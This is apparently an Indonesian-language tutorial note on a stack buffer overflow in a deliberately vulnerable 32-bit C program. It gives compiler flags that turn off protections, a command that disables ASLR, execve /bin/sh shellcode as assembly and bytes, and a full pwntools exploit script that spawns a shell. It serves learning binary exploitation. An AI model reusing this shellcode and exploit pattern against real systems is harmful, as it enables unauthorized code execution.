Binary Exploitation : pwn & shellcode
source code :
#include<stdio.h>
#include<unistd.h>
int main(){
char buffer[64];
printf("buffer ada di %p\n", &buffer);
fflush(stdout);
read(0, &buffer, 128);
return 0;
}
Makefile : (asumsi nama file shellcode.c)
*sementara masih yg 32bit :)
gcc -no-pie -fno-pic -fno-stack-protector -fno-builtin -mpreferred-stack-boundary=2 -m32 -z execstack shellcode.c -o shellcode
link shellcode : http://shell-storm.org
untuk dapat mengakses ke /bin/bash
menggunakan kode assembly
assembly untuk menjalankan perintah /bin/sh
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80
program python untuk mendapatkan line assembly :
from pwn import *
kode = '''
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80
'''
bentuk_line = asm(kode)
dikembalikan_bentuk_kode = disasm(bentuk_line)
print bentuk_line
dalam bentuk line : (yang akan digunakan sebagai payload)
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
syarat & tahap :
- dalam bentuk stack executable / disable execstack, maka dalam makefile ditambah
'-z execstack'
- ada 2 seri : aslr/randomize memory off dan aslr/randomize memory on (untuk belajar, di off-kan dulu)
echo "0" > /proc/sys/kernel/randomize_va_space
"0" untuk off, "1" untuk on
dicek NX
harus disable :
- mengetahui alamat buffer & offset,
run dalam gdb, ide : memenuhi input hingga SIGSEGV / segmentation vault
didapat offset = 68
0x08049204 <+46>: lea eax,[ebp-0x40]
0x08049207 <+49>: push eax
0x08049208 <+50>: push 0x0
0x0804920a <+52>: call 0x8049080 <read@plt>
proses read
pada [ebp-0x40]
= 68 desimal
ide :
shellcode + 'A'*(offset - len(shellcode)) + memori_buff
Maka didapat code python :
from pwn import *
import struct
# opsional --> dapat diganti
context(arch='i386', os='linux')
# jalankan program --> dapat diganti
p = process('./shellcode')
# interaksi dengan output program --> dapat diganti
p.recvuntil("di ")
# alamat buffer --> dapat diganti (jika perlu)
buff = int(p.recvline(),16)
# asumsi telah mengetahui offset (berdasarkan percobaan diatas) --> dapat diganti
offset = 68
# asumsi menggunakan mesin <I / litle endian 32 bit --> dapat diganti (jika perlu)
memori_buff = struct.pack("<I", buff)
# paten / didapat dr http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
# membuat payload --> dapat diganti
payload = shellcode + 'A'*(offset - len(shellcode)) + memori_buff
# memberi input dengan...
p.sendline(payload+'<span class="hljs-symbol">\n</span>')
# agar shell dapat berjalan
p.interactive()
sudah masuk ke dalam shell
Masalah :
- bagaimana kalau tidak diketahui alamat buffer ?
- klo 64 bit gmn gan 😹